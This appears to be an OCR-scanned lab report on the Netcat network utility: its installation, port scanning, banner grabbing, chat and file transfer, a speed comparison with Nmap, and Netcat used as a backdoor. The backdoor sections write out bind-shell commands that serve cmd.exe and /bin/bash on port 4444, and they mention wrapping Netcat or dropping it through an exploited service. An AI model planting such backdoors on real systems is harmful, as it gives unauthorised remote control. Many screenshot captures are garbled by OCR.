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1. INTRODUCTION

In this experiment | will be testing the advanced features of Netcat on my home network,
as well as comparing some of the footprinting and scanning features of Netcat to another
tool called Nmap. In this second experiment will determine many different factors about
Netcat compared to an actual port scanner and determine which is faster, which is more
actuate with information it delivers to the user, and finally flexibility of each tool to
perform other tasks.

Netcat is a network utility that that can read and write data on a TCP or UDP connection.
Historically it gets its name from the old UNIX tool ‘cat” which is write data to a
standard output, while this new tool can read and write data on a network connection.
Netcat was created in the early 1990’s by a developer named *Hobbit*, with the last
stable release being in 1996, at version 1.10. Since then there has been no significant
improvements on this utility by the original developer, except that the tool is open source
allowing other developers the ability to add any features they would like to see or expand
on.

Netcat was designed to be a simple UNIX utility with a rich features list allowing it to do
many different type of network functionalities to help network administrators
troubleshoot and debug network issues. Since it has so many features available and is
such a powerful tool, hackers have also been able to take advantage of its many features
using it for mischievous tasks. Netcat was designed to be a command line utility but it
also allows a user to make it a back-end device of an application or script to make tasks
more automated. According to the official website of Netcat, the developer lists its major
features as:

0 Outbound or inbound connections, TCP or UDP, to or from any ports

o Full DNS forward/reverse checking, with appropriate warnings

o Ability to use any local source port

o Ability to use any locally-configured network source address

0 Built-in port-scanning capabilities, with randomizer

o Built-in loose source-routing capability

o0 Can read command line arguments from standard input

o Slow-send mode, one line every N seconds

0 Hex dump of transmitted and received data

0 Optional ability to let another program service established
connections

0 Optional telnet-options responder



Netcat is known as the “Swiss-army Knife of TCP/IP because of its large list of rich
features that makes it so popular. In fact in 2000 Netcat was named the best network tool
to use by insecure.org, and has since had maintained its popularity over the years and has
taken fourth place in 2006 while many new tools have been developed.

During this project I will explore many of Netcats’ excellent features and explain how to
use them as well as the best time to use them for different situations. It will explain how
to use this tool to debug or to even gain access and control of another system.

2. INSTALLATION

A useful feature for both Netcat and Nmap is the ability to run on multiple platforms,
such as Windows, UNIX, Mac OSX. Netcat and Nmap is also so light and durable that
they can run on handheld devices such as an iPhone or any other smart phone that has the
ability to run a UNIX console.

2.1 Netcat Installation

Installation for Windows is very basic across all Windows versions, and requires the
same steps. For this documentation I will cover installation under Windows 7.

2.1.1 Installation on Windows
Download

Simply go to: http://www.securityfocus.com/tools/139. This is the website that
hosts the Netcat for Windows Binary files.

Click on the URL to download the zip file of contents for Netcat.

C) SECU rltyFDc us "' A Advertising a Contact

Home | Bugtrag | Vulnerabiliies | Mailing Lists | Security Jobs | Toals ! Search:
News
---------------------------------------- FRINT COMMENT Tools
Tnfocus . o »
» Foundations netcat (Windows)
L) :'\'IIC.I'GECJZ by Hobbit
= Unix Platforms: Windows 35/98, Windows NT
a 103 Categories: Netwoark, Utilities
2 Incidents Version:
A Virus URL: http://joncraton.org/files/nci11nt.zip CLICK TO DOWNLOAD
~ Pen-Test Windows NT/9x Netcat is the port of the simple Unix utility which reads and writes data across network connections,

a Firawalls using TCP or UDP transport protocols.

% QR PRINT  CycoMMENT Tools 4


http://www.securityfocus.com/tools/139�

File Contents

Once you download the zip file, you can open it with any Zip achiever, to view
the files. Here you can see some of the files included are some text files which are
the license, the readme for windows, and finally the manual which is written by
the author of the program. There is also the executable and source code. From
here you can either compile your own source code if you want to make any
changes to the source or you can simply run or copy the executable. For this
project | will just be copying the executable.

=)y

M 4 ¥

B ncllintzip - WinRAR (evaluation copy

IFlIe Commands Tools Favorites Options  Help

DN LYWW

Extract To View Delete Find Wizard Info VirusScan Comment SFX
] m 3 E nclllntzip - ZIP archive, unpacked size 265,266 bytes -
MName Size Packed Type Modified CRC32
o . Folder

doexec.c 12166 3,360 Filec 12/28/2004 11:23 AM 948B5429
generic.h 7.283 3,078 Fileh 7/9/1996 4:01 PM 049027428
getopt.c 22,784 7468 Filec 11/6/1996 10:40 PM 155E6BD4
getopt.h 4,765 1,908 Fileh 11/3/1994 7:07 PM C75606FB
. hobbit. bt 61,780 24,656 Text Document 2/6/1998 3:50 PM AE25622B
| license.bdt 18,009 6,856 Text Document 12/27/2004 5:37 PM AD305209
makefile 544 288 File 11/28/1997 2:36 PM 79505544
ncexe 61,440 30,813  Application 12/29/2004 1:07 PM CCTBE93C
netcat.c 69,662 24,542 Filec 12/29/2004 1:07 PM EFF79504
| readmetd /5,833 3,000 Text Document 1272772004 5:44 PM C3BFFCFT

EF O Selected 6,533 bytes in 1 file Total 265,266 bytes in 10 files

Extract

Now in order to run this program from the command line you will want to place
the executable (nc.exe) in C:\Windows\System32\

This will allow you to type ‘nc [options]’ into the command line from any

directory to execute Netcat.
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Executing

Now from the Command Line in Windows just type nc [options] to run Netcat.

BN Administrator CA\Windows\system32\cmd.exe

Microsoft Windows [Uersion 6.1.768081
Copyright <c?> 2882 Microsoft Corporation. All rights reserved.

C:xUsers~Jeffrevrnc —h
[vi.11 HT www.vulnwatch.orgsnetcat.~]
somewhere = nc [-options] hostname portls] [ports] ...
» inbound: nc -1 —p port [options] [hostnamel [port]

detach from console. bhackground mode

prog inbound program to exec [dangeroustt]
gateway source—routing hop pointlzs]l. up to 8
nuwm source—routing pointer: 4, 8, 12, ...
this cruft
i secs delay interval for lines sent, ports scanned
listen mode. for inhound connects
listen harder, re—listen on socket close
numeric—only IP addresses. no DHNS
hex dump of traffic
local port number
randomize local and remote ports
local source address
answer TELMET negotiation
UDF mode
verhoze [use twice to be more verhosel
4 SECS timeout for connects and final net reads
zero—1-0 mode [used for scanningl
port numbhers can be individual or ranges: m—n [inclusivel

C:sUserssJeffrey?

2.1.2 Installation on UNIX
Debian based Linux
Using Apt-get, type:

apt-get install netcat

This will install Netcat and produce the following output:

kurcz:~# apt-get install netcat

Reading Package Lists... Done
Building Dependency Tree... Done
The following NEW packages will be installed:

netcat
0 packages upgraded, 1 newly installed, 0 to remove and 0 not
upgraded.
Need to get 63.3kB of archives. After unpacking 190kB will be
used.
Get:1 http://http.us.debian.org stable/main netcat 1.10-21
[63-3kB]

Fetched 63.3kB in 2s (27.9kB/s)

Selecting previously deselected package netcat.

(Reading database ... 39433 files and directories currently
installed.)

Unpacking netcat (from .../netcat _1.10-21 i386.deb) ...
Setting up netcat (1.10-21) ...

kurcz:~#



http://osdn.

Compiling Netcat from Source

Compiling Source, type:

kurcz:~$ wget
dl .sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz

2.2 Nmap

2.2.

2.2

This will download the tar file of the source files. Next you will need to extract
them, change into the same directory and compile. Type:

kurcz:~$ tar -xzf netcat-0.7.1.tar.gz
kurcz:~$ cd netcat-0.7.1
kurcz:~/netcat-0.7.1$ ./configure
kurcz:~/netcat-0.7.1$ make
kurcz:~/netcat-0.7.1% sudo make install

You can now run netcat in your UNIX terminal as an compliled application. Run
the same way you would with windows. Type nc [options] or you can also type
netcat [options].

Installation
1 Installation on Windows

Installation of Nmap on Windows is very simple. Just go to the Nmap website
http://nmap.org/download.html Scroll down to the Windows Binaries Section and
click the link for Latest release self-installer. This will install a Graphic User
Interface (GUI) of Nmap for Windows.

Choose the Directory you wish to install to, then click Install.

During the installation you may be required to install WinPCap, this is an optional
install and up to the user.

This is all you need to do to get Nmap up and running on a Windows Platform.
After this you can simply run the executable from a Windows Shortcut on the
desktop or in the Start Menu.

.2 Installation on UNIX

Debian based Linux

To install Nmap on a Debian based distribution of UNIX, in the command line
simply type:

apt-get install nmap


http://osdn.dl.sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz�
http://nmap.org/download.html�

This will download and install Nmap from a stable repository that is already
compiled.

Compiling Nmap from Source

Now if you want to download and install Nmap from source code and compile
yourself you can follow the steps below:

kurcz:~$ wget http://nmap.org/dist/nmap-5.00.tar.bz2
kurcz:~$ tar -xzf nmap-5.00.tar.bz2
kurcz:~$ cd nmap-5.00
kurcz:~/nmap-5.00% ./configure
kurcz:~/nmap-5.00$% make
kurcz:~/nmap-5.00% sudo make install

You can now run Nmap from any terminal on UNIX and specify the commands
you would like to run along with Nmap for scanning ports. Since this Report is
based on Netcat | will not get too in-depth into all the features and commands of
Nmap, | will simply compare my findings from both programs and compare the
results.

3. NETCAT FEATURES

As explained before Netcat is an extremely powerful tool for network troubleshooting,
auditing, and debugging. In this section I will explain some of the many uses of Netcat
that I feel are import for any user of Netcat to know and understand. Many of Netcats’
features can be run as a standalone client, such as port scanning, and banner grabbing,
since Netcat can connect to other servers by specifying the ports to connect to, but many
of the other features require Netcat to be both the Client and the Server in order for
Netcat to make a full connection and transfer data across the Network. Some of these
features are a simple chat, file transfer and running as a backdoor.

The syntax of Netcat is fairly simple to remember, there are many different options to use
but the help option is a great way to look something up if you do not remember an option
or want to explore the use of another options. The syntax of Netcat is as follows:

nc [options] hostname port[s]

The options that are available for Netcat as of listed in the help menu:


http://nmap.org/dist/nmap-5.00.tar.bz2�

C:\Users\Jeffrey>nc -h

[v1.11 NT www.vulnwatch.org/netcat/]

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:  nc -l -p port [options] [hostname] [port]

options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway  source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-0 file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-S addr local source address
-t answer TELNET negotiation
-u UDP mode
-V verbose [use twice to be more verbose]
-W Secs timeout for connects and final net reads
-Z zero-1/0 mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

In order to run Netcat in server mode, when running Netcat you need to include the
options —I or —L to listen for incoming connections, as well —p for the port to open to
allow listening of connections on.

When running Netcat as a client you simply just need to specify the hostname and port
you would like to connect to. You can specify the hosthame as a DNS name or as an IP
Address. If providing the DNS name it will do a DNS name lookup to gain the IP of the
server you are attempting to connect to.

3.1 Port Scanning

Port scanning is the process of scanning a specified host and looking for ports that
may be open or closed. If a port is displayed as open you can from there determine
which service is running on a host, whether it would be a web server, file transfer
server, a secure shell server, etc. Once you know what ports are open you can attempt
to make a connection to that service and try to get more information about a host from
that service by doing a process called Banner Grabbing which will be explained next.



Netcat has the ability to scan for ports on hosts that are specified in the command
arguments. To scan ports, the syntax is as follows:

nc —v —z hostname port[s]
For example if you want to scan to see if a host is running a web server, you can type:
nc —v —z www.yahoo.com 80

This command will display:

DNS fwd/rev mismatch: www-real.wal.b.yahoo.com != f1.www.vip.rel.yahoo.com
DNS fwd/rev mismatch: www-real.wal.b.yahoo.com !'= f1.www.vip.mud.yahoo.com
www-real.wal.b.yahoo.com [69.147.76.15] 80 (http) open

This shows us that yahoo.com is running a web server (obviously, since it hosts a web
based search engine) on port 80, the http protocol, and the port is open.

As explained before, you can specify a DNS name, and it will perform a lookup and
return the IP address of the host as well.

You can also specify multiple ports to scan for, allowing you to specify a range of
ports by typing for example 1-1000, or multiple random ports in a row, such as 80,
22, 443, 110.

So for example you can see if socr.uwindsor.ca is running a web server and ssh
server.

BN Administrator: C:\Windows\syste \emd.exe

Microsoft Windows [Uewrsion 6.1.768681
Copyright <(c> 28809 Microsoft Corporation. All rights reserved.

C:~UserssJeffrey>nc —v —z socr.uwwindsor.ca 22 80
zocr..uwindsor.ca [137.207.26.38]1 22 (ssh> open
mocr.uwindsor.ca [137.2087.26.381 8@ C(http?} open

IC:sUserssJeffrey?

—

Here you can see that socr.uwindsor.ca is running both those services and the ports
are listed as open. This covers how to do a port scan on a specified host. As you can
see it is not difficult at all. This will now lead us to our next topic to determine which
service is actually running, as well as which operating system it is running on.
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3.2 Banner Grabbing

Banner Grabbing is a technique to determine which application or service is running
on the specified port by attempting to make a connection to this host and sending
some information. With this request of information a user can be sent back some
information about the service such as the name of the service running, the version, the
type of system the service is running on as well as other information depending on
what the application delivers back to a user. If someone wants to grab information
from a service, they need to attempt to connect to the host to the port that is running
the service. With this in mind, this is easy to do with Netcat, just enter the command
below to make a connection:

nc socr.uwindsor.ca 80

This will connect to the web server that socr.uwindsor.ca is currently running. Next
you need to send some information to it. Since we know this is a web server, we will
send some related information to it that a typical browser would use.

HEAD / HTTP/1.1
Then press Enter twice.

The service running on the HTTP port will run and send us some information back
generated from our request, as you can see in the image below we now have some
information about this service, such as its running an apache version 2.2.9 on a debian
machine with some plug-ins running as well.

BN Administrator: C\Windows\system32\emd. e | 5] |t

Microszsoft Windows [Uersion 6.1.760081]
Copyright <(c> 280? Microsoft Corporation. All rights reserved.

C:slUserssJeffreyinc socr.uwindsor.ca 88
HEAD ~ HITP-1.1

HTTP-1.1 488 Bad Request
: Bun. 11 Oct 20089 16:-12:18 GHT
»= Apache~2.2.7? (Debian> DAU-2 PHP/5.2.6—1+lennyd with Suhosin—Patch mod_us
gis/2.3 Pythons2.5.2

Jary: Accept—Encoding
Connection: close
Content-Type: text-html; charset=izo—8859-1

C:xUserssJeffreyr
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We can also attempt to connect to the SSH server we know is also running on
socr.uwindsor.ca at this time and see what information we can retrieve from making a
connection.

ER Administrater: C\Window: Pomd ex

Microsoft Windows [Verzion 6.1.76881
Copyright (c? 2882 Microsoft Corporation. All rights reserved.

C:sUserssJeffreydnc socr.uwindsor.ca 22
S8H-2.8—0pen88H_5.1p1 Dehian-5
“C

C:xUserssJeffrey>

Similar to how Netcat connected to a web server and secure shell server, Netcat is
able to connect to any service with an open port, the trick is sending the appropriate
information to the service protocol to generate data. For example, you could connect
to a mail server also and send e-mail from that server, or login to that server and
check your email account. The trick is knowing the correct protocols to follow when
making a connection. Nothing that can’t be found out about a service from a little
researching.

Now if we wanted to exploit this server we could either run a vulnerability scan
which will find any exploits that could be used with this server to gain access to that
vulnerable software, or we could do some online searching for exploits available for
this host. Although I do not cover how to do an exploit in this project, | will explain
how to use one assuming we know one later on to gain access and create a backdoor
in a server later on.

3.3 Chat Interface

The last example was a Client making a connection with a server and sending some
information, in particular Netcat making a connection to a web server or secure shell
server. On the other side, Netcat can also run as a server and listen for incoming
connections, and on its own does not have any protocol to follow once connecting
and sending some information back and forth. This would make it able to run as a
server, and having a client make a connection to it and send text back and forth to
each other, resulting in a chat server.

To start Netcat as a server you need to specify the flags —I or —L to specify it will be
listening for connections and disconnect after a client disconnected, or stay open,
respectively. Netcat also needs to know which port to open up to listen on as well, so

12



you will set the —p flag along with a port. Generally you would set the port about
1024, because those ports are already a standard for services running, and in a UNIX
environment require root access.

Start Netcat as a server, enter the command:
nc -L —p 4444

You are now running a service you can connect to. To do so, in another console or
terminal window enter:

nc 127.0.0.1 4444

We entered our loopback address because for this example we are just going to make
a local connection, but this will work the same way for remote connections as long as
you are not behind any firewalls or you forward the appropriate ports. At this point
you now have the client connected to the server, and you can send information back
and forth. See the image below for the example.

BN Administrator: ChWindows\system32\emd.exe - nc -L -p 4444 = | B 2

Microszoft Windows [Uersion 6.1.76881]1
Copyright <c?» 2887 Microsoft Corporation. All rights reserved.

C:Users~Jeffreydnc —L —p 4444
qulu Client?

Good, yourself?

b,

@8 Administrator: CA\Windows\system32\cmd.exe - nc 127.0.0.1 4444 = | ™

Microzoft Windows [Uerszion 6.1.76881]
Copyright <c?» 2887 Microsoft Corporation. All rights reserved.

CE\USEPS\JEffPEy)nC 127 .8.8.1 4444

Good, yourself?

If you were to run Netcat as a background application of a script or program you
would then be able to deal with the input and outputs sent back and forth and make it
follow a set of protocols much like any other service.

13



3.4 File Transfer

Sending a file is very similar to text, there both just data being sent across a network.
Simple text can be sent back and forth from our standard input and outputs. Sending a
file is very similar to how the chat works, you just need to specify the use of a
different input on the sender, such as the location and filename to send. On the
receiver you would need to specify an a different output instead of the screen, you
would need to use a filename as an output. Preferably a name similar to the input files
to be opened upon sending.

When using Netcat to send a file you need to specify the pipe input ( <) flag as well
as a file name. When receiving a file you need to specify the pipe output ( > ) flag
then the filename to follow. For example, a server receiving a zip file from a client
that connects to it:

nc —L —p 4444 >somefile.zip
Where the client now needs to connect to send the file as input:
nc 127.0.0.1 4444 < somefile.zip

This will pipe the input from the zip file from the client and send the data across the
network to the server and pipe the data to a new file called somefile.zip where the
user on the server can now open.

Say the Server receiving the file did not want to change its output and just display on
the screen it could do so, as the image below shows. Although this works for this case
since it’s a text file that is still readable to humans, if it was some other file type it
would still display but the text that display would be useless to us.

14



B Administrator: CA\Windows\system32\cmd.exe - nc -L -p 4444

Microsoft Windows [Uersion 6.1.76881
Copyright <c> 280? Microsoft Corporation. All rights reserved.

C:sUseprssJeffrey>nc —L —p 4444
Thi5 15 4n 3ncryp?3d £113

Microsoft Window [Verzion

.768A1
Copyright <(c> 2882 Microsoft Culpnlatlun All rights reserwved.
C:wUserssdJeffreyine 127.8.8.1 4444 { somefile.txt

3.5 Backdoors

Backdoors are a essentially a none authorized way to access a remote machine and
gain control of them in a way where a user may not know they are being
compromised. When a hacker finds a way to use a backdoor and get into a system,
they can take control of it and do what they want with that system. Once a hacker gets
control they should create a new way for them to get in a more secure way, and close
the backdoor that they got control of access. That way another hacker will not be able
to get into that same backdoor and take over the system that the first hacker got
access to.

Netcat allows the use of creating a backdoor on a system by running as a server. By
running as a server, Netcat also allows the ability to run an external program once
connecting, such as the Windows command line or a UNIX bash shell. This will give
a client full control over another system.

For example to run a backdoor on a Windows system and have the command line
prompt run to the client type:

nc —L —p 4444 —e cmd.exe

15



Now when | client connects to this system on port 4444, they will be prompted with a
Windows shell, as seen below.

B8 Administrator: C:\Windows\system32\cmd.exe - nc 127.0.0.1 4444 _ =-|0] x

Microsoft Windows [Uersion 6.1.76881]
Copyright <c2> 2807 Microsoft Corporation. All rights reserved.

C:sUserssdeffreyinc 127 A _A_1 4444
Microsoft Windows LUersion b.1.76WH]
Copyright <c> 28@? Microsoft Corporation. All rights reserved.

C:xUserssJeffreyrdir

dir
Uolume in drive C has no label.
Uolume Serial Number is 7848-EOQBE

Directory of C:slUserssJeffrey

@188 <DIR> .
<DIR> i
<DIR> Contacts
<DIR> Dezktop
<DIR> Documents
<DIR> Downloads
<DIR> Favorites
<DIR> Links
<DIR> Muzic
<DIR> Pictures
<DIR> Saved Games
<DIR> Searches
25 somefile._ txt
<DIR> Tracing
<DIR> Uideos
25 hytes
14 Dir<s)> 2P2,.766.061.568 bytes free

C:“UserssJeffrey>

16



Now you could do the same for a bash shell:
nc —L —p 4444 —e /bin/bash

In this case a user will not be prompted with any commands, but they will be able to
type in this shell with UNIX commands and be given output. The following image
shows you a UNIX shell logged in from Netcat server.

Bl Administrator: C\Windows\syste _-u;p.u - nc 192.168.1.110 4444

Microsoft Windows [Uersion 6.1.76801
Copyright <c?> 2009 Microsoft Corporation. All rights reserved.

C:“UserssJeffrey>nc 172.168.1.1160 4444
purd
Fuar mohile

uname —a
Darwin Jeffs—iPhone 18.8.8d3 Darwin Kernel Uersion 18.8.8d3: Wed May 13 22:16:49

PDT 208%9; root:xnu-1357.2.89"4/RELEASE_ARM_S5L8?28AX iPhone2,.1 arm NBBAF Darwin

4. EXPERIMENT

4.1 Port Scanning — Netcat vs. Nmap

In this experiment I will run both Netcat and Nmap to scan my home server to verify
which ports are open, and reveal information about that host, and also which program
is faster. I will set the both programs to scan ports 1 to 10000 and | will run each
program at the same time. Since this Project is not about Nmap, | will not get into too
many details about Nmap or how to use this program, just talk about my findings of
each as well as the parameters.

4.1.1 Speed Test

For this first test | will just be comparing the speed of the two scanners running
simultaneously side by side, just scanning for open or closed ports. So therefore 1 will
just be running Nmap in regular scan mode.
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" Microsoft Mindows [Uersion 6.1.76881
STl dis JIE o Copyright <c> 2089 Microsoft Corporation. A1l rights reserved.
Target: | 1921681116 E| Profile: E| \Scan\ UGN C : \Users Jeffrey>ne —v —z —w 1 192.168.1.116 1-18868
| — C [192.168.1.116]1 10880 (?>: TIMEDOUT
Command:  nmap -p 1-10000 192.168.1.116 EPIG [192.168.1.1161 999% (?> open
EPIC [192.168_1.1161 9998 (7>: TIMEDOUT
[LHosts. ]| Semices | | Nmap Output | Ports  Hosts| Tapology | Host Details| Scans
05 4 Host « | nmap-p1-10000192168.1.116 E| [ Details|

1921681116
Starting Nmap 5.00 { http://mmap.org ) at 2009-10-18
11:53 Bastern Daylight Time
Interesting ports cn 192.168.1.116:
Not shown: 9982 filtered ports
PORT STATE SERVICE
80/tcp open  http
135/tcp open  msrpc
139/tcp open netbios-ssn
b open

FEOE o e =[5

nm »

p  open
p open
p open
P open
p open
closed r
closed
p open
p open
P open
p open
p open
P open
cp open
MAC Address: 00:0A:E4:8B:€B:9D (Wistron)

Nmap done: 1 IF address (1 host up) scanned in 34.02
seconds

After | have ran the test you can see that Nmap took 34.02 seconds to scan all the
ports, and as Nmap finished | took a screen shot immediately and you can see that
Netcat had only scanned 3 ports in the time it took Nmap to scan a whole system.

4.1.2 Details Test

In this experiment | will again be running both Netcat and Nmap as port scanners side
by side, although during this test I will set Nmap to an intensive scan to reveal what
extra details this program will display about our host scan.

During this experiment, Nmap had completed its scanning of ports 1-10000 in 26.43
seconds and during that time Netcat had only finished scanning 10000 (closed), and
9999 (opened). Similar results to the past speed test. Nmap had then gone on to a
service scan to display what services are currently running. By the time Nmap had
finished a whole detailed scan, Netcat had only finished about 11 ports scanned.

; “ 2 S=] = ] ini - 3
Zenmap i : e [=Ta] J 2\cmd.exe - nc -v -z -w 1 192.168
S Tools  Profile  Hel, Microsoft Windows [U on b.1. a1
s ot Copuright <c> 2089 Microsoft Corporation. A1l rights reserved.
Target: | 192168.1.116 Profile: E| \Sm| Bl NC : \Uscrs Jeffreyine —u —z —w 1 192.168.1.116 1-16000
192.168.1.1161 18888 <7>: TIMEDOUT
Command: | nmap -p 1-10000 -T4 -A -v -PE -P$22,25,80 -PA21,23,80,3389 192.168.1.116 168.1. 9999 <7 open
S168.1. 9998 (7 IMEDOUT
— 168.1. 9997 (7 IMEDOUT
[[Hosts ][ semvices | | nmap Output [Ports. Hosts| Topology | Host Details| Scans -168.1.1161 $996 (?>: TIMEDOUT
— — e s G2 i
05 4 Host «  |nmap rp1—10000—T4—A—v—PE—PSH,ZS,SO—PA21,23,80‘.‘E | Details -168.1. 2ans A IMEDonT
< 102168.1116 Bunning: Microsoft Windows XP|2003 - Jaas
0S details: Microsoft Windows XP SE2 or Server 2003 N N 2998
5p2

Hetwork Distance: 1 hop

TCP Secuence Prediction: Difficulty=260 (Good luck!)
IP ID Secuence Generation: Incremental

Service Info: 05: Windows

Host script results:
| nbstat: NetBIOS name: EPIC, NetBIOS user:
<unknown>, NetBIOS MAC: 00:0a:ed:gl 51

| MName: uniques<active>
| Hame: W Flags: <group><activer
|  HName: Flags: <uniquex<active>
| Mame: Flags: <group><actives
| Hame: Flags: <unigues<active>
|_ Hame: \x01\x02_ MSBROWSE_ \x02<01> Flags:
<groupx<actives

| smb-os-discovery: Windows Server 2003 3790
Service Pack 2

| ILBEN Manager: Windows Server 2003 5.2

| Name: WORKGROUP\EPIC

|_ System time: 2009-10-18 12:17:20 UTC-4

Read data files from: C:\Program Files (x26)\Nmap

05 and Service detection performed. Flease report

any incorrect results at http://nmap.org/submit/ .

Hmap done: 1 IP address {1 host up) scanned in

| 231.41 seconds L
Raw packets sent: 20023 (882.720KB) |

Revd: 313 (17.807KB)




Scgn  Jools Profile Help
Target: | 1921631116 [=] Profi [=] [scan] [conce [=] erofie [z] [sen] [con
Command: | nmap -p 1-10000 -T4 -4 -v -PE -P522,25,80 -PA21 23,80,3389 192.166.1 116 v-PE-P522,25,80 -PAZ1,23 80,3369 192.168.1.116
Hosts | Services I -Nmap Oulpul- Ports / Hosts ‘Tnpolng,- |.HosLD¢ia:'I1| Seans] timap Output | Ports / Homl Tnpolog)u_l Hest Details ,ﬂ|
Sivice: " 4 Port 1 Protocol 4 State 1 Service 1 Version 1 ' 5 1021681116
http @ @ tep open  hitp Microsoft IS websener 6.0 it
mspe @ 135  tep open  menpc Micrasaft Windews RPC ' )
b @ 139 tp open  netbios-ssn L H;:::M"’ i
nathios-sen @ 4z tep open  hitp Microsoft 15 webserver 5.0 O rice= 1% /
microsoft-relp 8 M5 tep open  microseft-ds  Microsoft Windows 2003 microsoft-ds Filtered ports: 9982
e @ 105 tp apen  marpc Microsaft Windows RPC Cloted ports:. 2
eslistener @ 13 top open  unknown Scanned ports: 10000
@ 2@ tep open  hitp Microsoft IS httpd Up time: Mot available .
@ 338 tp open  micreseft-rdp Microsoft Tesminal Service Last boot: Mot available
@ BE  tep closed  rendezvous S Addresses
@ 4B top closed v Pwd: 1921681116 -
@ 6515 tp open  http McAfee Agent hitpd 1.0 IPvG: Mot available
@ B tep apen  http Micreseft IS kittpd MAC:  00:0A:E4:8B.68.0D
@ 812 tep apen | Operating System
® W0 tp open  cslistener Name: Micresoft Windows XP SP2 or Server 2003 5P2
@ 210 tp open  unknown Accuracy: 00
@ M3 tep apen  unknown B Ports used
8@ 99 tp open  hitp mt-deapd hitpd sm-1737 05 Class
[ TCP Sequence
[# IP ID Sequence
i b ety -

You can see that both applications are accurate and displays port 9999 as an open
port. Although Netcat is unaware of what program is running on this port, whereas
Nmap displays the service currently running. You can also see that Nmap is much
more accurate when it comes to scanning details about the services running on the
ports. This essentially does the job of banner grabbing as well much faster than
Netcat does.

Although Netcat is slow, the reason is because when it looks at a port it waits for a
timeout on that specific port before it states it is closed. In this experiment | have
made the wait time 1 second, but as you can see it is still much slower than Nmap and
displays much less details.

4.2 Netcat as a Backdoor

In this experiment | will cover how to use Netcat as a backdoor on another host and
take control of it. I will not explain how to use an exploit to get Netcat onto another
machine, except to say there are many ways about doing this.

One is simply embed Netcat into a program either by using a wrapper, or make a
program yourself and use the Netcat commands to start itself. You could also just
make a basic script and have it run on another machine. You could exploit a
vulnerable service and upload it yourself and have it run a command when it gets
uploaded to start a command line or shell upon connecting. There are several ways to
go about this, but for the purpose of this experiment | will simply just run Netcat on
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another machine with the proper commands typed in to make a simple connection and
take control of the host server.

The first machine I will connect to is my a desktop on my home network, this is a
Windows XP machine. On that machine | will start the Netcat server with the
following command:

nc —v —L —p 4444 —e cmd.exe

This will prompt me with the Windows command line once | make a connection to it,
giving me the same control as if | were physically sitting there.

For example I will type ‘ipconfig’ to display that I am connected to the server:

-~ =

&8 Administrator: CAWindows\system32\cmd.exe - nc -v 192.168.1.100 4444 =T000 X

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix . = Router

IP fAddress. . . . - . . - . . . . = 192_.168.1.1088
Subnet Maszk = 255.255.255.8
Default Gateway : 192.168.1.1

Ethernet adapter Local Area Connection 3:

Media State : Media disconnected

D:->

EX Administrator: C\Windows\system32\cmd.exe - nc -v 192.168.1.100
| ———

Notice now how the server | | e R
R Microsoft Windows KP [UVersion 5.1.2608]
am Connected to dlSpIayS the {C>» Copyright 1985-2881 Microsoft Corp.
ERSS Y
same IP address. This shows || e —,

Uolume Serial Mumber is BBBB-87F5

that | can now perform ||| e

commands on the server [[EEFEETERTE 54,721 hookabeks .htnl
- égjggjgggg b g:‘]).tﬁdar 2089-A9-27_2009-11-681 . pdf
from the client and | have [|JCEtYEEEEECE """ Dounloaded = £
. ggjggjgggg ; 55 E?[(flﬁ:geﬂl?lir]l.g Library.xml
full control. When | first [Stet ey Jefirey
i 5 07,5009 04: 37343 net . txt
connect the server recognizes ||fagxeaauTE +343 net.ext

168162009 H Serverld <(hackroom> <¥> - Shortcut ¢2>.lnk

that | connect and displays

What IP I am C0nneCtIng WINDOWS\system32cmd.exe - nc.exe -v -L -p 4444 -e cmd.exe
Microsoft Windows XP [Uersion 5.1.2688]

from as well as the port | am

{C> Copyright 1985-2801 Microsoft Corp.
us|ng on the C||ent end D:~>nc.exe —v —-L —p 4444 —e cnd.exe
listening on [anyl 4444 __.
iconnect to [192_168.1.1081 from JEFFREY-LAPTOF [192_.168.1.1141 3868

IC:“Documents and SettingssJeffrey>D:




5. CONCLUSION

In conclusion to the experiments you can see that Netcat has many different functionalities
but for some of the functionalities it may be better off to use specific tools in certain cases. Port
Scanning using Netcat can be a very slow process unless you know certain ports that may
already be active. Once you know they are open you need to do a banner grab to find out more
information about the service running. This process could be very time consuming with Netcat if
you do not know specifically what you are looking for. If you know there may be a web server
open with Netcat you can probe that port specifically and that will be much faster.

Although Netcat is a tool every network administrator should have in their toolbox since it
can help them with a wide variety of tasks, Netcat seems to be a tool that falls under the saying,
Jack of all trades, master of none, Since it can perform many different variety of tasks but does
no one thing better than a tool developed for that direct task. It is definitely a tool I would
recommend to try out and get your feet wet with and give it a try, you never know when it may
come in handy to use.
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